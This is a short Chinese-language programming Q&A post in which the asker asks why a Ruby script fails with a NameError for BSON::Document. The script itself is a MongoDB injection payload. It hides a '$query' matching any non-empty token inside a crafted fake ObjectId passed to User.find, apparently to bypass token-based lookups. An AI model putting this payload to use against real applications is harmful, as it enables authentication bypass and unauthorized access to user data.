【发布时间】:2016-11-10 09:30:27
【问题描述】:
我正在尝试在 ubuntu 14.04 上执行 ruby 代码,但在执行时出现错误,
'':未初始化的常量 BSON::Document (NameError)
代码是,
#!/usr/bin/ruby
require 'uri'
require 'bson'
require 'mongo'
b = BSON::Document.new
b["$query"] = {"token" => {"$gt"=>""}}
payload = b.to_bson[4..-2]
id_ish = ("\n\n" + "a"*24 + "\n\n")
fake_id = "a"*24 +
"\x02_id\0".unpack('H*')[0] +
[id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
payload.unpack('H*')[0]
puts URI.encode(fake_id)
User.find fake_id
我已经浏览了文档, BSON Tutorial
知道我在这里缺少什么。任何指针将不胜感激。
【问题讨论】: